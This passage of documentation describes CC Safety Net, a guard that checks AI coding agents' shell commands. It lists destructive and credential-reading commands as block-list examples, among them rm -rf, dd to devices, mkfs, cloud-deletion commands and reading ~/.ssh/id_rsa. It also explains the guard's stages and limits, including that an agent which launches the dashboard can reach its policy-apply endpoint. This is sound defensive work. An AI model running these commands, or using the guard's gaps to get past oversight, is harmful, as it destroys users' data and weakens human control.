`${HOME}` and their children, literal or canonicalized | Always blocked as catastrophic | | 4 | **protected Git metadata** | The resolved `.git` entry, its directories, or its hooks directories | Always blocked as catastrophic | | 5 | **temp target** | `/tmp`, `/var/tmp`, the system temp dir, `$TMPDIR` (unless overridden to a non-temp path) | Allowed | | 6 | **dynamic target** | Any target whose expansion cannot be predicted | Allowed in standard; blocked once [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) turns on the fail-closed capability | | 7 | **configured allow path** | A literal, verified target under `destructive_command_protection.allow_paths` | Allowed (classified as temp) | | 8 | **home-cwd target** | The cwd *is* the home directory (move into a project directory first) | Blocked | | 9 | **cwd self-target** | `.`, `./`, or any target that resolves to the same inode as the cwd | Blocked | | 10 | **within-cwd target** | A path that resolves inside the current working directory | Allowed; blocked under [paranoid rm](/docs/configuration/modes#rm-check-cc_safety_net_paranoid_rm=1) | | 11 | **outside-cwd target** | Anything else (absolute, parent, or non-temp paths outside the cwd) | Blocked | Two consequences of the ordering are worth stating explicitly: * Step 4 precedes step 7, so **an allow path that contains a repository does not relax Git-metadata protection**. * Step 6 precedes step 7, so **allow paths never apply to dynamic or otherwise unverifiable targets**. Allow paths must be absolute or `~/`-prefixed directories. They apply in **every** safety level to `rm`, `Remove-Item`, and `find -delete`. They never relax secret protection, deny paths, root, home, or protected Git metadata. Entries equal to or containing `$HOME` are rejected at validation and again after canonicalization; symlink escapes are not covered. Both recursive (`-r`/`-R`/`--recursive`) and force (`-f`/`--force`) flags must be present for this classification to run. Path comparison uses canonical (realpath) resolution, so a symlink to `/` is correctly classified as dangerous, and `/tmp-malicious` does not match the `/tmp` temp rule. On Windows, Git Bash and other MSYS shells hand over `/c/Users/...` spellings, which the Windows path APIs read as paths under the current drive. Before any comparison, a leading `/` followed by `/` or the end of the string becomes `:/`, so `/c/Users/you` compares as `c:/Users/you`. Only that leading segment changes. Other platforms are untouched, and POSIX paths, UNC paths, and native Windows drive-letter paths pass through unchanged. The rewrite runs before `rm` target classification, before policy-file and Git-metadata protection, and before sensitive-path protection. It also rewrites `HOME` and `CC_SAFETY_NET_HOME` when the environment is captured, so those roots and the command operands compare in the same form. Temp-root comparison also folds case on Windows, so a lowercase MSYS path under the native temp directory classifies as a temp target instead of an outside-cwd one. The important distinction for everyday use: `rm -rf ./subdir` (within cwd) is **allowed**, but `rm -rf .` (the cwd itself) is **blocked**. See [Allowed commands](/docs/reference/allowed-commands). ### PowerShell `Remove-Item` `Remove-Item` and its aliases use the same target taxonomy as `rm`, through a conservative PowerShell subset that preserves native quoting, path separators, connectors, pipelines, and dynamic-word provenance. * `-WhatIf`, `-WhatIf:$true`, and the `-wi` abbreviation neutralize an otherwise-blocked removal; an explicit `-WhatIf:$false` blocks again. * Dynamic forms are strict-only: `Remove-Item $target -Recurse -Force`, a `Get-ChildItem … | Remove-Item -Force` pipeline, a `-Path` with no value, and splatting (`Remove-Item @params -Recurse -Force`) are all allowed in standard and blocked in strict. The exception is `Remove-Item $HOME -Recurse -Force`, which blocks in **standard** because it classifies as a root/home target rather than a dynamic one. * Aliases and abbreviated parameters resolve, so `ri . -r -fo` blocks. Invocation-operator forms (`& Remove-Item …`, `& { … }`, `. { … }`) are analyzed, as are `Invoke-Expression` with a literal string and `$(…)` subexpressions. * `#` line comments and `<# … #>` block comments (including nested ones) are ignored, but real commands after them still block. Malformed or depth-limited block comments and subexpressions fail closed. * PowerShell wildcards **do** match dot-entries, unlike a POSIX `*` glob. That is why `Remove-Item .git -Recurse -Force` and a PowerShell wildcard at a repository root both hit Git-metadata protection, while POSIX `./*` does not cover `.git`. * Shell selection matters: the `posix` dialect deliberately does not apply the PowerShell removal rules, while `auto` detects an explicit `Remove-Item`, the `Get-Content`, `Set-Content`, `Add-Content`, `Copy-Item`, and `Move-Item` cmdlets, and an alias such as `gc` or `cp` whose argument is spelled as a PowerShell path expression (`gc $HOME\.ssh\id_rsa`). Cross-shell rules such as `git.reset-hard` stay in force either way. ### Device and disk destruction | Command | Trigger | Rule id | Intent | | ------- | ------------------------------------------------------------------------------------------------------------------------- | ----------------- | ----------------- | | `dd` | An operand matching `of=/dev/…`, which writes directly to a device path. Reading from a device is not itself the trigger. | `dd.device-write` | `manual_only` | | `mkfs` | Head is `mkfs` or any `mkfs.*` variant and some operand starts with `/dev/` | `mkfs.device` | `manual_only` | | `shred` | **Any** target, including `shred --help` and `shred --version` | `shred.target` | `use_alternative` | All three also appear in the unparseable-text heuristic scan. Thus, `dd of=/dev/…`, `mkfs /dev/…`, and `shred ` inside otherwise unparseable text block as `raw-text.dangerous-command`, except when the text starts with `echo ` or `rg `. None of the three is catastrophic, so they follow the master-switch and per-rule-override precedence. ## Dynamic-target analyzers for `find`, `xargs`, and `parallel` | Command | What is blocked | | ----------------------- | ------------------------------------------------------------------------------------- | | `find ... -delete` | Permanent removal via the find primary (use `-print` to preview) | | `find -exec rm -rf ...` | The exec command is re-analyzed as a nested segment, so a destructive exec is blocked | | `xargs rm -rf` | `rm` driven by piped, dynamic input with unpredictable targets | | `xargs -c` | Shell execution from dynamic input | | `parallel rm -rf` | rm driven by parallel placeholders or stdin | | `parallel -c` | Shell execution from dynamic input | For `xargs` and `parallel`, the concern is that the targets come from dynamic input (piped stdin or placeholder expansion), so they cannot be verified against the cwd. SSH-remote mode in `parallel` (`-S`/`--sshlogin`) also disables worktree relaxation. ## Worktree relaxation When [worktree mode](/docs/configuration/modes#worktree-mode-cc_safety_net_worktree=1) is active, local-discard git commands are allowed inside a confirmed linked worktree. Relaxation requires all of the following: 1. The matched rule is classified `localDiscard` (see the [git rule engine](#git-rule-engine) table). `sharedState` rules never relax. 2. Worktree mode is on through `workflow.worktree_mode` in `policy.json` or `CC_SAFETY_NET_WORKTREE=1`. The engine combines these settings with a logical OR. 3. No git context environment override is present (`GIT_DIR`, `GIT_WORK_TREE`, `GIT_COMMON_DIR`, `GIT_INDEX_FILE`), and no `--git-dir`/`--work-tree` on the command line. The engine verifies a linked worktree instead of assuming one. It confirms that the `.git` entry is a *file*, not a directory or symlink, and that its `gitdir:` pointer resolves to a directory with a `commondir` file. It also confirms that the backlink points to this worktree and that `config.worktree` matches. Main worktrees, bare repositories, and submodules are not relaxed. If verification fails, the command stays blocked (fail-closed). Even inside a confirmed linked worktree, these are never relaxed: dynamic arguments containing `$`, `*`, `?`, or `[`; forced branch resets (`git checkout -B`/`-Bf` or `git switch -C`/`-Cf` with `-f` or `--discard-changes`); `git clean` with more than one `-f` flag (needed to remove nested git repos, which crosses the disposable-worktree boundary); and any `--recurse-submodules` option or recursive-submodule config. The effective git working directory is resolved by walking leading global options. `-C ` and inline `-C` apply a directory change. `--git-dir`/`--work-tree` (separate or `=` forms) mark an explicit git context, which disables relaxation entirely. ## Custom rules When no built-in analyzer matches, custom rules run as a fallback. They can only add blocks. They cannot override a built-in block or relax protection. Rules are namespaced as `/` and matched on the command basename first, then on the shape their own rulebook version declares. A version 1 rule matches an optional subcommand and literal `block_args`, with short-option unbundling, so `-Ap` matches `-A`. A `rulebook_version: 2` rule matches its `match` object instead: the words of `match.command_path` must be the leading non-option arguments in order, `match.any_args` requires at least one of its tokens among the arguments, and `match.exclude_args` cancels the match when any of its tokens is present. Version 2 compares exact tokens and does not unbundle short options. See [Version 2 matching](/docs/configuration/custom-rules#version-2-matching). See [Custom rules](/docs/configuration/custom-rules) for the full authoring guide and matching semantics. ## Inspect a classification To see exactly how the engine evaluated a specific command, run `explain`: ```bash theme={"dark"} npx cc-safety-net explain "rm -rf ./build" npx cc-safety-net explain --json "git checkout -- file.txt" ``` The human-readable output walks through each segment and shows parse steps and rule evaluations. The JSON output returns the structured trace. See the [Explain trace reference](/docs/reference/explain-trace) for the schema. If a decision looks wrong for your configuration rather than for the command, check whether the runtime is enforcing a fallback policy: `npx cc-safety-net status` prints `ready` or `degraded`, and [Configuration recovery](/docs/configuration/recovery) explains how to repair the named source. ## Where to go next The technical guides run from the user-facing lifecycle down to the reasoning behind the design. This page is step 4. * Back: [Architecture](/docs/guides/architecture), which describes the ordered guard stages that end with this classifier. * Next: [Design principles](/docs/guides/design-principles), which explains why classification is semantic rather than pattern-based and why the level boundaries fall where they do. Related: [Modes](/docs/configuration/modes) for selecting a level, [Blocked commands](/docs/reference/blocked-commands) and [Allowed commands](/docs/reference/allowed-commands) for the outcome reference, and [Known limitations](/docs/guides/known-limitations) for what the classifier does not see. # Architecture Source: https://ccsafetynet.com/docs/guides/architecture The maintainer-level system map: integration adapters, the policy snapshot, the ordered guard stages from tool input to allow or deny, the internal parsers, and the runtime dependency surface. This page is the maintainer-level specification of the guard pipeline. [How it works](/docs/guides/how-it-works) gives the user view. [Integration architecture](/docs/guides/integration-architecture) shows how each agent reaches the guard. CC Safety Net is a static pre-execution policy gate. Each supported coding agent sends it a tool call. The guard checks each call in the same order. Integrations differ only in how the call arrives: a standard-input hook subprocess or an in-process plugin or extension. The stage order below is specified here and nowhere else; every other page states it in a sentence or two and links back. For each analyzer's exact behavior, continue to [Analysis engine](/docs/guides/analysis-engine). ## System components ```mermaid theme={"dark"} graph TD subgraph Integrations Hooks["Stdin hook adapters"] InProc["In-process plugins and extensions"] end subgraph Guard["Guard (ordered stages)"] Extract["Bounded tool-input extraction"] Facts["Semantic facts"] Budgets["Parser budget checks"] PolicyGuard["Policy-file protection"] GitGuard["Git-metadata protection"] Snapshot["Policy snapshot load"] Secret["Sensitive-path protection"] Analyze["Destructive-command analysis"] end subgraph Support Parsers["Internal POSIX and PowerShell parsers"] Rules["Built-in rules, custom rulebooks, overrides"] Env["Safety level and env modes"] Audit["Audit logging"] Format["Block formatter"] end Hooks --> Extract InProc --> Extract Extract --> Facts Facts --> Budgets Budgets --> PolicyGuard PolicyGuard --> GitGuard GitGuard --> Snapshot Snapshot --> Secret Secret --> Analyze Facts --> Parsers Snapshot --> Rules Snapshot --> Env Analyze --> Format Analyze --> Audit ``` ## Integration adapters Adapters translate one agent's tool-call payload into a normalized invocation and translate the guard's decision back into that agent's deny format. At the system level, an adapter grants **command-execution capability only to exact, integration-specific tool names**. An unknown tool never gets shell-command treatment; it still receives policy-file, Git-metadata, and sensitive-path inspection, but its text is not parsed as a command. Which agent uses which adapter, its hook flag, and where its config lives are all in [Integration architecture](/docs/guides/integration-architecture); the commands that set them up are in [Installation](/docs/installation). ## The policy snapshot `loadPolicySnapshot()` composes the effective runtime policy from the user policy file, the project policy file, each scope's `rule.json`, and the rulebook file every configured source names. Its contract matters as much as its content: * It performs **no writes, no network requests, and no in-memory caching**. Rulebooks are live files, so the loader reads each `rulebook.json` from disk on every tool call. Only `cc-safety-net rule add` and `cc-safety-net rule update` reach the network. * The result is **deeply immutable**. The policy object, the rules array, each rule and its `block_args`, the transparent-wrapper list, the safety block and its overrides, the destructive-command rule overrides, the allow paths, and the secret-protection block with its disabled rules and deny paths are all frozen, as is the snapshot wrapper itself. * It resolves to exactly **two states**: `ready`, where every validated source is enforced, and `degraded`, where a candidate source was rejected and something safe is enforced in its place. A degraded reason names the failing source, states what is not active, and states the repair. * The snapshot records each rule's provenance: rulebook name and version, public source spec, and override reason. When a project policy file exists, it also records which scope set the safety level and one line per field the project policy relaxed. Diagnostics and the GUI render this snapshot. A rejected policy or rule source does not, by itself, deny an ordinary tool call. The runtime drops the source instead of converting it into a block. See [Configuration recovery](/docs/configuration/recovery) for the state contract and repair path. ## The ordered guard stages Every tool call, on every integration, runs this fixed order. Operations that deny report the shown `failureStage` value in the audit log. | # | Reported `failureStage` | What happens | Weakenable by policy? | | -- | ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------- | | 1 | `policy-protection` | Extract the command from the tool input under traversal bounds (depth, node count, key count, per-string and aggregate byte size). Exceeding a bound fails closed. | No | | 2 | Not reported | Build semantic facts from the invocation with one parse that every later stage reuses. | No | | 3 | `command-analysis` | Declared-command parser budget exceeded, so the command is denied for hitting the recursion limit. | No | | 4 | `command-validation` | Structural command-validation budget exceeded (input length, word count, nesting depth), so the command is denied. | No | | 5 | Not reported | Resolve protected Git metadata for the execution working directory. | No | | 6 | `policy-protection` | **Policy-file protection.** A write, move, or recursive delete that touches the user `policy.json`, the project `policy.json`, the project file's own `.cc-safety-net` directory, or the user file's directory or any ancestor of it is denied with intent `hard_stop`. An agent that runs `cc-safety-net policy apply` is denied at this stage too, with the same intent. `cc-safety-net policy check` stays allowed. | No | | 7 | `policy-protection` | **Git-metadata protection.** A delete, move, redirection, write-tool, patch, or unknown-tool route that targets the resolved `.git` entry, its directories, or its hooks directories is denied with intent `hard_stop`. Read-only tools are exempt on the write-tool, patch, and unknown-tool routes. | No | | 8 | `config-load` | **Load the policy snapshot** and resolve the effective safety level from policy plus environment. | Not applicable | | 9 | `secret-protection` | **Sensitive-path protection.** The guard inspects command, path, search, and patch shapes for built-in sensitive paths and configured deny paths. A match denies with intent `hard_stop` and carries the matched rule id. The guard skips this stage when the policy disables secret protection. | Yes | | 10 | `non-command` | Allow non-command invocations that survived stages 1 to 9. | Not applicable | | 11 | `command-validation` | An empty or blank command text fails closed. | No | | 12 | `command-analysis` | **Destructive-command analysis** runs with the snapshot, the effective capabilities, the parsed program, the fact store, and the resolved Git metadata. It then either blocks or allows. | Partly | Three placement facts follow directly from that order: * **Stages 6 and 7 run before stage 8.** Policy-file protection and Git-metadata protection deny *before* any configuration is loaded. They are always on, they carry no config state, and no preset, override, or master switch can weaken them. * **Sensitive-path protection runs after the snapshot and before command analysis.** It is the only one of the three hard-stop protections that policy controls, through the master switch, per-pattern overrides, and deny paths. * **Only decisions made after stage 8 report a safety level.** Denials from the input bounds, policy-file protection, or Git-metadata protection intentionally carry no `level` and no config-fallback metadata, because neither was known yet. Every dependency call inside the guard is wrapped, so a thrown error becomes a fail-closed deny attributed to the stage that threw. When a tool-input bound is the cause, command-substitution-sourced text is stripped from the evidence so oversized input is never echoed back. ## Inside command analysis Stage 12 is where the classifier runs. It splits a command by shell operators into segments and walks each segment independently; if any segment blocks, the whole command is denied. ```mermaid theme={"dark"} graph LR Input["Command text"] --> Split["Split by shell operators"] Split --> Seg["For each segment"] Seg --> StripEnv["Strip env assignments"] StripEnv --> StripWrap["Strip standard and configured wrappers"] StripWrap --> Identify["Identify the head command"] Identify --> Dispatch{"Which analyzer?"} Dispatch -->|git| GitAnalyze["Git rules"] Dispatch -->|rm / Remove-Item| RmAnalyze["Recursive-delete target classification"] Dispatch -->|find / xargs / parallel| OtherAnalyze["Dynamic-target analyzers"] Dispatch -->|dd / mkfs / shred| DeviceAnalyze["Device analyzers"] Dispatch -->|shell or interpreter| Recurse["Recurse into the inner command"] Dispatch -->|other| Custom["Custom rules"] GitAnalyze --> Blocked{"Match?"} RmAnalyze --> Blocked OtherAnalyze --> Blocked DeviceAnalyze --> Blocked Recurse --> Blocked Custom --> Blocked Blocked -->|yes| Deny["Deny with reason and intent"] Blocked -->|no| Allow["Allow"] ``` The engine tracks working-directory changes across segments (via `cd` and `pushd`) and propagates environment assignments, so target classification reflects what a real shell would do. Recursion into shell wrappers and interpreter bodies is capped at 10 levels. See [Analysis engine](/docs/guides/analysis-engine) for each analyzer, the safety-level boundaries, and the full target-classification order. ## Parsers and the runtime dependency surface `parseCommand(source, dialect, limits)` dispatches to CC Safety Net's **own POSIX parser** or its **own PowerShell parser**; the `auto` dialect sniffs which one applies. Both are internal modules, not wrappers around a third-party grammar. Parser and analyzer budgets are compile-time constants, not policy settings, so no configuration can raise them: | Budget | Value | | ---------------------------- | ------------------------- | | Maximum input length | 131,072 UTF-16 code units | | Maximum words | 16,384 | | Maximum nesting depth | 64 | | Maximum derived-command work | 16,384 derived tokens | The first three limits bound the initial parse. The fourth bounds the work that the analyzer *derives* after that parse. Derived work includes child commands reconstructed from `find -exec`, `xargs`, and `parallel`; commands embedded behind wrappers; tracked heredoc files replayed into the analyzer; and PowerShell `Invoke-Expression` sources. Exhausting this limit denies with the reason "Command analysis exceeds CC Safety Net's derived-command work limit. Reduce nested or embedded command complexity and retry." This failure is distinct from the recursion-depth limit and the structural validation limits in the stage table above. The analyzer's public contract is deliberately narrow: it returns nothing on allow and a result object on block. It never exposes the parser's internal `complete` / `partial` / `limited` states, so callers cannot branch on parse confidence. PowerShell support is a **conservative subset**: `Remove-Item` and its aliases, the file cmdlets `Get-Content`, `Set-Content`, `Add-Content`, `Copy-Item`, and `Move-Item` with the aliases `gc`, `cat`, `type`, `cp`, and `mv`, plus the existing cross-shell rules. It preserves native quoting, path separators, connectors, pipelines, and dynamic-word provenance for that subset. Sensitive-path checks resolve a `$HOME`, `$env:USERPROFILE`, `$env:HOME`, or `~` prefix joined to a literal suffix by either path separator; a path assembled any other way, such as by concatenation, a subexpression, or `Join-Path`, is not evaluated. It is not a general PowerShell interpreter. ### Dependencies CC Safety Net has **one runtime package dependency, `zod`**, used only for configuration validation. The source loads it lazily through `createRequire`. The split Node bundles, including Pi, keep that behavior and direct the lazy load to the shipped `dist/vendor/zod.cjs`; the standalone Amp and OpenClaw artifacts inline `zod` instead. Exactly one source module imports it. Published bundles embed **no third-party shell parser**. `projectShellSyntax` projects the flat entry stream that the path scanners read from the parsed IR. The internal POSIX and PowerShell parsers are therefore the sole source of shell structure. A second tokenization of the raw command text cannot drift from them. The published runtime target is Node.js 18 or newer. ## Key design properties * **One fixed order, every integration.** The stage table above is the whole contract. There is no per-agent branch in the guard. * **Always-on protections precede configuration.** Policy-file and Git-metadata protection cannot be disabled, because they deny before the policy that could disable them is read. * **Fail-closed on the guard's own failure.** A thrown dependency, an exhausted parser budget, or a violated tool-input bound denies rather than allows. The result identifies the stage that failed. Invalid *configuration* is a separate case and does not deny. See [Configuration recovery](/docs/configuration/recovery). * **No network, no writes at evaluation time.** Runtime evaluation performs no network requests, and the snapshot loader performs no writes. Nothing in the guard inspects or filters egress. * **Platform-agnostic core.** Adapters translate formats; the guard and the classifier are shared verbatim. * **Bounded, not exhaustive.** This is a static pre-execution policy gate, not an OS sandbox, a privilege boundary, or protection for commands that bypass an installed integration. See [Known limitations](/docs/guides/known-limitations). ## Where to go next The technical guides run from the user-facing lifecycle down to the reasoning behind the design. This page is step 3. * Back: [Integration architecture](/docs/guides/integration-architecture), which shows how each agent's call reaches the adapters above, and [How it works](/docs/guides/how-it-works), which shows the same sequence at user depth. * Next: [Analysis engine](/docs/guides/analysis-engine), which details stage 12: each analyzer, the safety-level boundaries, and the recursive-delete classification order. * Then: [Design principles](/docs/guides/design-principles), which explains the order, the always-on protections, and the owned parsers. Related: [Configuration recovery](/docs/configuration/recovery) for `ready` versus `degraded`, [Security model](/docs/guides/security-model) for trust boundaries, and [Known limitations](/docs/guides/known-limitations) for what this design cannot cover. # Keep protection active in cloud agent environments Source: https://ccsafetynet.com/docs/guides/cloud-environments How CC Safety Net reaches agent sessions you never log into: committed project policy and settings files for Claude Code cloud and self-hosted sessions, a personal plugin for Amp Orb threads, and a preinstall step for devcontainers and Docker images. A cloud session runs on a machine nobody signs into. There is no terminal to run an installer in, and the machine is reclaimed when the task ends, so a per-session install would have to happen every time. Protection has to arrive with the repository, with the environment's setup script, or baked into the image. All three work, and none of them needs anything CC Safety Net does not already ship. ## What a cloud VM changes The VM is disposable. Its reach is not. A cloud session clones your repository at a real branch, commits, and pushes back to your real remote, so `git reset --hard` on uncommitted work costs the same work there that it costs locally, and `git push --force` lands on a branch your teammates pull. Credentials sit next to that work. Anthropic's docs for [Claude Code on the web](https://code.claude.com/docs/en/claude-code-on-the-web) describe Anthropic-hosted environments this way: "git credentials and signing keys stay outside the sandbox, and a proxy authenticates on the session's behalf with scoped credentials". API keys you add to a cloud environment are handled the same way, "attached to matching requests after they leave the session". That design keeps the session from reading the key material, which is the right split. It does not keep the session from using the credential. An environment provisioned for infrastructure work can run `terraform destroy`, `aws s3 rm`, `gcloud projects delete`, or `az group delete` with a working identity, which is exactly what the [official rulebooks](/docs/configuration/rulebooks) block. Platform-side guardrails are per-version results rather than standing guarantees, the same way ours are. A scheduled cloud task pushed straight to `main` with unrestricted branch pushes turned off, reported in April 2026 as [anthropics/claude-code#44949](https://github.com/anthropics/claude-code/issues/44949). A deny layer committed to the repository travels into every session that clones it, at the preset the project policy sets, with no per-session action from anyone. ## Claude Code cloud and self-hosted sessions Cloud sessions read configuration out of the repository. The same page states it directly: "To change settings for a cloud session, use environment variables or commit settings files to the repository." Hooks are configured in settings files, so two committed pieces make a cloud session enforce your policy. `.cc-safety-net/policy.json`, plus any project rulebooks under `.cc-safety-net/rules/`, are ordinary committed files. The session clones them with the rest of the repository and the runtime reads them on the next tool call. This is the same configuration [team setup](/docs/guides/team-setup) commits for developer machines, and [Policy](/docs/configuration/policy#project-policy) owns the merge contract. A cloud session starts with no user policy file of its own, so the built-in defaults apply wherever the project file is silent. Set the preset the session should run at explicitly instead of relying on the one a member happens to have locally. Two ways, depending on whether the environment has a setup script. An environment [setup script](https://code.claude.com/docs/en/cloud-environments), or the image behind a self-hosted environment, runs the ordinary install: ```bash theme={"dark"} npx -y cc-safety-net@latest install --claude-code ``` A target flag makes the install non-interactive, so it needs no terminal to confirm in and runs headless. Without a setup script, commit the hook entry itself as `.claude/settings.json`: ```json theme={"dark"} { "hooks": { "PreToolUse": [ { "matcher": "*", "hooks": [ { "type": "command", "command": "npx -y cc-safety-net@latest hook --coding-cli" } ] } ] } } ``` `hook --coding-cli` is the canonical hook entrypoint, the same one the installed plugin invokes. It costs an `npx` spawn on every tool call, so prefer the setup script when the environment has one. Both forms fetch from the network at install or invocation time. An environment configured with network access disabled needs the package present in its image instead. Two things change once the hook is running in a VM. The [audit log](/docs/reference/audit-log) is written into the session's own home directory and is reclaimed along with it, so the deny is what you get in a cloud session and the log is session-local. And nothing about a session announces that the hook is missing, so confirm it once per environment by asking the session to run a command your policy denies, or `npx -y cc-safety-net@latest explain "git reset --hard"`, which prints the verdict and the rule that produced it without executing anything. [Explain trace](/docs/reference/explain-trace) covers the output. ## Amp Orb threads Amp needs no per-container step. Install once from any machine signed in with `amp login`: ```bash theme={"dark"} npx -y cc-safety-net@latest install --amp ``` The install publishes the plugin to your account's hosted Amp Personal Plugins repository. A personal plugin follows the account rather than the machine, so it covers threads that execute remotely, including Orbs. Install also embeds a snapshot of your user policy into the published artifact, and that snapshot applies on a machine with no policy file of its own, which is what an Orb's empty home directory is. A policy file present on the machine always wins over the snapshot. [Installation](/docs/installation) has the full behavior, including what the snapshot leaves out. Re-run the same command after editing your user policy. The snapshot ships with the artifact, so it updates when the artifact does. ## Devcontainers and container images For a container you build yourself, run the install at build time. This Dockerfile is the shape that works: ```dockerfile theme={"dark"} FROM node:22-slim RUN apt-get update && apt-get install -y --no-install-recommends git ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g @anthropic-ai/claude-code RUN npx -y cc-safety-net install --claude-code ``` Two build-time requirements come out of that ordering: * **`git` and `ca-certificates` must be present.** The Claude Code install adds a plugin marketplace, which clones over HTTPS. Slim base images ship with neither. * **Install the agent CLI first.** The installer drives the agent's own plugin commands, so a build that installs CC Safety Net before the agent fails. For a devcontainer, the same command is a `postCreateCommand`: ```json theme={"dark"} { "postCreateCommand": "npx -y cc-safety-net@latest install --claude-code" } ``` The `process.env.CI` guard that [team setup](/docs/guides/team-setup) puts around an npm `postinstall` hook does not belong here. That guard exists to skip the install in CI and containers, where it would be wasted work. Here the container is the machine the agent runs on, so the install is the point. ## What stays human-approved Installing protection can be automated, and everything above does that. Relaxing it cannot. `policy apply` refuses to run without a terminal to confirm the diff in, and agent invocations of it are blocked outright. That holds in a cloud VM the same as on a laptop, so the committed `.cc-safety-net/policy.json` a session reads is a file a person wrote and a reviewer read, normally as a pull request. An agent in the session can draft a proposal and run `policy check` against it, and that is as far as it gets. ## Related pages * [Team setup](/docs/guides/team-setup) covers the committed project policy and rulebooks in full. * [Policy](/docs/configuration/policy) documents the merge between user and project scope. * [Official rulebooks](/docs/configuration/rulebooks) are the AWS, Terraform, gcloud, and Azure denials worth committing where cloud credentials are live. * [Installation](/docs/installation) has the per-agent install details for every supported CLI. # The local dashboard Source: https://ccsafetynet.com/docs/guides/dashboard Launch the local CC Safety Net dashboard with cc-safety-net gui. Use Overview, Activity, Policy, Rules, Integrations, and Settings to inspect decisions, edit policy, and manage agent hooks. `cc-safety-net gui` opens a local dashboard. Use it to review decisions on this machine and edit your policy without editing JSON by hand. The dashboard helps you find what was blocked, why it was blocked, and what you can change. This page covers what you can do in the dashboard and which actions are destructive. It does not restate the underlying formats: the `policy.json` schema lives in [Policy](/docs/configuration/policy), rulebook authoring in [Custom rules](/docs/configuration/custom-rules), and the audit record schema in [Audit log](/docs/reference/audit-log). ## Launch the dashboard ```bash theme={"dark"} cc-safety-net gui ``` The command prints the dashboard URL and then opens it in your default browser: ```text theme={"dark"} CC Safety Net policy GUI: http://127.0.0.1:52341/?token=... ``` Pass `--no-open` when you want the URL without a browser launch, for example over SSH, in a container, or when you would rather paste the URL into a specific browser profile: ```bash theme={"dark"} cc-safety-net gui --no-open ``` `--no-open` is the only flag besides `-h, --help`. Any other argument is rejected with `Usage: cc-safety-net gui [--no-open]` and a non-zero exit code. If the browser cannot be launched, the command prints the underlying error followed by `Open this URL manually: ` and keeps serving. The server runs in the foreground until you stop it with `Ctrl-C`. ### Local loopback scope The dashboard is not a hosted service. Its server listens only on the local loopback interface: * The server binds to **`127.0.0.1` only**, on an ephemeral port. Nothing on your LAN can reach it. * Each launch mints a fresh random token that is embedded in the URL. Every request must carry that token, and every state-changing request must also send it as a request header. Requests without it are rejected with `403`. * A JSON request body larger than 1 MiB is rejected with `413` and the error `Request body is too large` before it is parsed, because the whole body would otherwise sit in memory. * Responses are served with `cache-control: no-store`. The token is printed on stdout, so whoever launched the command can read it. That is what lets the browser page work at all, and it means an agent that ran `cc-safety-net gui` itself can reach the same token-gated endpoints, including the project-policy apply described below. The token keeps out another page, and any process that never saw that line. It does not keep out the launcher. What stays closed is the direct route: an agent editing `policy.json` by command, or running `cc-safety-net policy apply`, is still denied. The page makes no outbound requests for its data. Everything it renders comes from your local policy file and audit logs. The update check and GitHub star action on Overview are the only opt-in exceptions. Because the token is per-launch, a URL you bookmarked from a previous session will not work. Run `cc-safety-net gui` again to get a fresh one. ## The six views The sidebar has six views, hash-routed so you can link or bookmark within a session: | View | What it answers | | ---------------- | ------------------------------------------------------------------- | | **Overview** | What has CC Safety Net been doing on this machine recently? | | **Activity** | Which individual commands were analyzed, and what happened to each? | | **Policy** | What should CC Safety Net block? | | **Rules** | Which custom rulebook rules are actually enforced right now? | | **Integrations** | Which coding agents on this machine have the hook installed? | | **Settings** | Where do files live, how long are logs kept, and how do I reset? | An unrecognized hash falls back to Overview. Integrations and Rules load their data the first time you visit them. ## Overview Overview summarizes a **retained window**, not a lifetime total. The window is the last 7 days, or your entire retention window when retention is shorter than 7 days. The heading states the window it used, as `Last N day(s)`. **Tiles.** The **Blocked** and **Analyzed** counters each have a per-day sparkline that runs from oldest to newest. Each sparkline scales to its own maximum, so compare the numbers rather than the bar heights. **Protection status.** A card names your safety level, adds `· Customized` when your overrides deviate from the preset, and reports how many rules are active and whether secret protection is on. This card reflects **saved** state only. Unsaved toggles on the Policy view do not change it until you save. A banner appears when destructive-command protection or secret protection is off, or when a configuration error causes the runtime to enforce a fallback. **Health strip.** Reports whether the hook is active in your detected agents, or that agents were detected without an active hook, or that no agent hooks were detected at all. It also surfaces an available update. When something needs attention it links to Integrations. **Top blocked commands and Top blocked rules.** Two top-five ranked panels, counted across the same window as the tiles. Selecting a top command jumps to Activity with an exact, blocked-only command-signature filter applied as a removable pill. Selecting a top rule routes by rule namespace: `custom.*` rule ids go to the Rules view, and built-in rule ids go to Activity with the rule id prefilled in the search box. **Guard errors.** When any denial in the window came from a failed evaluation rather than from policy, a button appears with this text: Selecting it opens Activity filtered to error decisions. These are fail-closed denials: CC Safety Net could not finish the analysis, so it refused the command. See [Troubleshooting](/docs/guides/troubleshooting) if they recur. ## Activity Activity lists audited commands from the local log, newest first. Secret redaction runs before each write, but it recognizes only known credential shapes. Entries can still contain paths, hostnames, and names. See [Audit log](/docs/reference/audit-log#secret-redaction) for the record schema and redaction scope before sharing anything from this view. ### Windows are derived from retention The window selector is **not a fixed set of choices**. It is computed from your configured audit retention: the candidate windows 7, 30, 90, 180, and 365 days are filtered to those strictly shorter than your retention. Your retention value itself is always appended as the widest option. That way no option ever promises history the retention sweep has already deleted, and your whole log always stays reachable. | Retention | Windows offered | | ----------------- | ------------------- | | 5 days | 5 | | 14 days | 7, 14 | | 30 days (default) | 7, 30 | | 90 days | 7, 30, 90 | | 365 days | 7, 30, 90, 180, 365 | Windows use whole local calendar days, including today and the preceding days. The per-day sparkline buckets on Overview therefore sum to the totals. A request for a window wider than retention is rejected. If you shorten retention, the dashboard clamps the current selection to the new limit. See [Audit log](/docs/reference/audit-log#retention) for how retention is configured and enforced. ### Filters * **Window.** The retention-derived selector described above. * **Decision chips.** `All`, `Blocked`, and `Allowed` always appear. `Errors` appears only when the window contains guard errors, and `Likely false positive` appears only when the heuristic finds candidates. The heuristic flags a denial that carries a failure stage or a command signature denied two or more times in the same session. * **Agent chips.** These appear only when the window contains two or more known agents. Use `All agents` to clear the filter. * **Command pill.** This exact, blocked-only command-signature filter appears after you select a command on Overview. You can remove it here. * **Search.** The top-bar box (`Filter by rule or command`) matches rule ids and command text as a case-insensitive substring. Filters that no longer make sense self-heal on reload. If the agent you filtered on is gone, or the window has no errors or no false-positive suspects, the filter resets rather than showing an empty feed. ### Refresh The refresh button reloads **both** Overview and Activity, so the tiles and the feed never disagree. It holds a short minimum spin so a fast local refresh still registers as an action. ### Rendered 